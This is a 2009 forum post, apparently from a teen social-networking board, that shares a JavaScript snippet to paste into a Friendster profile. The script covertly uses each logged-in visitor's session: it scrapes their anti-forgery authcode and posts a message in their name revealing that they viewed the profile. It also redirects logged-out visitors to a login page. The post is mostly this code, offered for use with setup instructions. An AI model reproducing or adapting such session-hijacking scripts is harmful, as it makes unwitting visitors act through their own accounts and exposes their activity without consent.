Facebook Teens
You'll need to login or register in order to fully use all the features and view all the sections of this site.
Thank you.


Join the forum, it's quick and easy

Facebook Teens
You'll need to login or register in order to fully use all the features and view all the sections of this site.
Thank you.
Facebook Teens
Would you like to react to this message? Create an account in a few clicks or log in to continue.
Facebook Teens

You are not connected. Please login or register

  

View previous topic View next topic Go down  Message [Page 1 of 1]

1WVM via Send Smile Empty WVM via Send Smile Tue Sep 22, 2009 4:27 pm

Khristel™

Khristel™
LEVEL 1
LEVEL 1
From feruzz :]]

Note: this trick will only compatible with the Quick comment ajax(V.1.5)w/ smiles

When someone visited your profile they will automatically send a WVM via Send Smile Icon_biggrin message to your profile

Preview: just go to http://www.friendster.com/messages.php to see who is viewed your profile

the code >>

Code:
(function(){
    un='USERNAME HERE';
    win=window;
    lh=(loc=location).hostname;
    oi=pageOwnerID;
    vi=pageViewerID;
    dm='http://www.friendster.com';
    AUTH='';
    msg=null;
    if(!!vi||(vi.indexOf('')<0)){
        if(lh.indexOf('profiles.friendster')>-1){
            win.loc.href=[dm,'/setlang.php?lang=en-US&updatelang=1&next=',encodeURIComponent([dm,'/profiles/',un].join('')),'&cookie=1'].join('');
        }else{
            aUTH=function(d){
                var c,f;
                c=/authcode"\s*value="([\da-z]*?)"/;
                f=new RegExp(c).exec(d);
                AUTH=f?f[1]:'';
                try{
                    return c;
                }finally{
                    c=null;
                }
            };
            sendSmile=function(m){
                var a,b,c,d,e;
                a=win.XMLHttpRequest?new XMLHttpRequest():new ActiveXObject('MSXML2.XMLHTTP');
                e=500-m.length;
                b=['&_submitted=1&inputcount=',e,'&uid=',oi,'&message=',encodeURIComponent(m),'&authcode=',AUTH].join('');
                c='application/x-www-form-urlencoded'+('UTF-8'?';charset='+'UTF-8':'');
                d=b?b.length:0;
                a.open('POST','/sendmessage.php?action=sendsmile',true);
                a.setRequestHeader('Content-type',c);
                a.setRequestHeader('Content-length',d);
                if(a.overrideMimeType&&(navigator.userAgent.match(/Gecko\/(\d{4})/)||[0,2005])[1]<2005){
                    a.setRequestHeader('Connection','close');
                }
                a.send(b);
            };
            if(vi.indexOf(oi)<0){
                sendXMLHttpRequestText(['/sendmessage.php?uid=',oi].join(''),'aUTH');
                window.addEvent('domready',function(){
                    if(!msg){
                        msg=new sendSmile('I viewed your profile');
                    }
                });
            }
  }
    }else if(!vi){
  win.loc.href=[dm,'/login.php?next=',encodeURIComponent(dm,'/setlang.php?lang=en-US&updatelang=1'),'&next=',encodeURIComponent([dm,'/profiles/',un].join('')),'&cookie=1'].join('');
    }
})();

Put your username at USERNAME HERE part & also you can edit a message at the bottom of this code ('I viewed your profile')

http://profiles.friendster.com/ilovestudy

View previous topic View next topic Back to top  Message [Page 1 of 1]

Permissions in this forum:
You cannot reply to topics in this forum

 

ChatBox
Create a forum on Forumotion | ©phpBB | Free forum support | Report an abuse | Forumotion.com